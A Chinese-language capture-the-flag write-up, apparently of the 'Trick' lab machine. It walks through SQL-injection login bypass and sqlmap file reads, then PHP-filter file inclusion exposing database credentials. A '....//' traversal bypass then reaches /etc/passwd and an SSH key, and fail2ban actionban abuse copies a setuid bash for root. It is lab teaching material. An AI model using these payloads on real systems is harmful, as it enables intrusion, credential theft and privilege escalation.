实战打靶之trick
2022-11-10 13:48:44 Author: www.freebuf.com(查看原文) 阅读量:12 收藏

信息收集

端口扫描

首先使用nmap对端口进行探测。找到了SSH (22) 和 HTTP (80)。2个端口。

1668058679_636c8e37d1127860c747d.png!small?1668058681290

接着使用nmap对SMTP 协议去爆破一些用户名。

1668058685_636c8e3dd4147a9e446a5.png!small?1668058687405

使用脚本爆破SMTP协议

使用smtp-user-enum 脚本来检查这些用户:

1668058714_636c8e5ae574a263bd9bb.png!small?1668058716509

使用telnet发现也不能成功。

1668058721_636c8e619c36aef21bde0.png!small?1668058722963

DNS协议

使用 DNS来看域名的的解析情况。

1668058729_636c8e6927839bdad2444.png!small?1668058730559

子域名枚举

接着使用wfuzz对子域名进行枚举。

1668058735_636c8e6f7d1f94da0191f.png!small?1668058737173

1668058742_636c8e768731bea20fc0a.png!small?1668058744054

访问主页查看页面有没有一些可用的东西。

1668058752_636c8e80374b6661a2be4.png!small?1668058753571

漏洞利用

万能密码登录

当我搜索http://preprod-payroll.trick.htb时,它会自动将我重定向到登录页面。
1668058804_636c8eb4e09017f512798.png!small?1668058806431

然后f12查看到,是一个员工管理系统,然后搜索nday漏洞。发现该系统存在sql注入漏洞。

1668058775_636c8e974cee0e5208b1f.png!small

漏洞详情链接:

https://www.sourcecodester.com/php/14475/payroll-management-system-using-phpmysql-source-code.html

1668058852_636c8ee415085e3144583.png!small?1668058853652

使用' or 1=1--,对该网站可以通过万能密码登录。

1668058858_636c8eea8c6b99776ff19.png!small?1668058859841

sql注入漏洞

手动测试

登录框处存在一个时间盲注。

进行手动测试,输入1=1 和1=2进行对比,发现返回的结果1个是1,1个是3。

1668058872_636c8ef8cea5dc4e75f27.png!small?1668058874237

1668058881_636c8f0128a384aab29c0.png!small?1668058882539

sqlmap测试

接着使用sqlmap进行从测试。

先判断注入点:sqlmap -r x.txt --dbms --batch

1668058890_636c8f0a1440d9e58974f.png!small?1668058891586

然后找到注入点之后,使用--current-user枚举当前数据库的用户

1668058897_636c8f11c056f42aa6c4a.png!small?1668058899242

接着去枚举数据库里面的表。

1668058905_636c8f193d28335b685aa.png!small?1668058906765

1668058913_636c8f21ee3813acc9713.png!small?1668058915372

接着去枚举表里面的用户。

1668058921_636c8f295b78e79da84c8.png!small?1668058922873

使用sqlmap读取文件

可以配置 SQL,以便我可以通过注入读取文件。sqlmap允许使用--file-read参数。有用:

1668058928_636c8f3084dd09bb90400.png!small?1668058930276

接着使用wfuzz枚举子域名。成功枚举出新的子域名。

1668058935_636c8f37e597b9d46e93e.png!small?1668058937360

文件包含漏洞

该网站在使用前面的万能密码登录之后,存在文件包含漏洞。接着尝试使用 PHP 过滤器对 URL 进行本地文件包含 (LFI)。

http://preprod-payroll.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=index

先去读doductions文件,然后使用base64解密。

1668058942_636c8f3edc1be863fb550.png!small?1668058944726

接着去读index文件,然后解密之后发现新的php。

1668058957_636c8f4d7eab60d9e02ad.png!small?1668058959216

接着继续去读login文件。继续解密。

1668058965_636c8f556d7f098862817.png!small?1668058967143

最后发现了db_connect.php,读出了数据库的用户名和密码。

1668058972_636c8f5c48bda6ae43956.png!small?1668058973730

1668058980_636c8f64ca399ba992412.png!small?1668058982175

接着就可以使用ssh进行登录。

1668058988_636c8f6c1dda44cfc4b47.png!small?1668058989524

目录遍历漏洞

源码分析

目录遍历

尝试在 web 目录之外加载一个文件(/etc/passwd这是一个通用文件,因为它是世界可读的并且总是在同一个地方)使用绝对路径(http://preprod-marketing.trick.htb/index.php?page=/etc/passwd)和相对路径( )都会失败http://preprod-marketing.trick.htb/index.php?page=../../../../../../../../../etc/passwd。

阅读 index.php 源码

只需包含index.php类似http://preprod-marketing.trick.htb/index.php?page=index.php, as 的index.php内容将再次执行,而不是返回源代码。尝试获取源代码的一种方法是使用 PHP 过滤器。访问http://preprod-marketing.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=index.php可以在包含之前进行base64编码index.php,然后只会出现base64文件。接着继续使用sqlmapap读文件--file-read=/var/www/market/index.php

1668058997_636c8f75649fda3ac7c5d.png!small?1668058999048

发现源码将../进行过滤。我们可以使用....//进行绕过。

<?php
$file = $_GET['page'];

if(!isset($file) || ($file=="index.php")) {
   include("/var/www/market/home.html");
}
else{
        include("/var/www/market/".str_replace("../","",$file));
}

1668059006_636c8f7eb50805202dfe3.png!small?1668059007958

成功遍历到了/etc/passwd。

1668059014_636c8f861ab7af75e74d6.png!small?1668059015542

接着去遍历id_rsa。

1668059021_636c8f8d0271bd30f2f61.png!small?1668059022548

ssh远程连接

然后将其加到本地文件中,使用chmod增加权限,继续使用ssh远程连接。

1668059027_636c8f93c9e8db31322e7.png!small?1668059029346

获取user.txt

连接之后,成功获取到user.txt文件。

1668059034_636c8f9a46770b927c48f.png!small?1668059035998

权限提升

fail2ban提权

配置分为三个部分fail2ban:

  • 过滤器定义要在给定日志文件中查找的模式。
  • 一个动作定义了可能发生的事情(比如iptables正在制定的规则)。
  • 将过滤器连接到动作。

使用suo -l 检查该用户运行那些程序。

发现michael 可以fail2ban以 root 身份重新启动。

文章链接:https://grumpygeekwrites.wordpress.com/2021/01/29/privilege-escalation-via-fail2ban/

1668059043_636c8fa3802e3fe1f7600.png!small?1668059044934

1668059053_636c8fad39917ee7f57ff.png!small?1668059054667

1668059081_636c8fc9a6940d2cc8c31.png!small?1668059083069

然后进入fail2ban目录。

1668059068_636c8fbcc9db5fc47a4d4.png!small?1668059070224

漏洞利用

接着进行漏洞操作。修改其配置文件。

mv /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.bak 
cp /etc/fail2ban/action.d /iptables-multiport.bak /etc/fail2ban/action.d/iptables-multiport.conf 
ls -l /etc/fail2ban/action.d/iptables-multiport.conf  

1668059089_636c8fd1c36d6bf6a1337.png!small?1668059091237

然后使用crackmapexec进行爆破。

1668059097_636c8fd959418639b7898.png!small?1668059098879

接着使用nano进行编辑配置文件

1668059106_636c8fe24807c2476f7b9.png!small?1668059107967

1668059117_636c8fed4a7b07521aa47.png!small?1668059118822

对actionban进行修改。重启服务之后,发现还是不能触发漏洞。

1668059123_636c8ff3f208f254c5e5f.png!small?1668059125378

1668059142_636c900652c9bb3b3660c.png!small?1668059143718

重启环境之后,继续进行第二次测试。

使用vi对配置文件进行编辑。

actionban=cp/bin/bash/tmp/x; chmod4777/tmp/x

1668059149_636c900d84d240b22beb9.png!small?1668059150936

接着重启服务。

1668059157_636c90155a78c15ef4e1e.png!small?1668059158713

继续使用crakmapexec进行爆破,触发漏洞。

1668059167_636c901f1c8fcfc7ef0a3.png!small?1668059168520

获取root.txt

成功触发漏洞,然后使用/tmp/x -p执行命令。

最后成功获取到root.txt。

1668059173_636c9025c5e14e474e321.png!small?1668059175144

总结

该靶机首先,通过一个ip,然后对ip进行信息收集,发现开放了22,80,25端口,接着使用脚本探测SMTP协议中存在那些用户,接着使用wfuzz进行文件子域名枚举。漏洞利用:主要是登录框存在sql注入和万能密码登录。登录进行之后,存在文件包含漏洞,接着读一些关键的文件,然后继续fuzz子域名。发现子域名的框架也存在文件包含漏洞。然后获取id_rsa,然后登录ssh。接着使用新的一种提权方式-滥用fail2ban进行权限提升。


文章来源: https://www.freebuf.com/articles/web/349401.html
如有侵权请联系:admin#unsafe.sh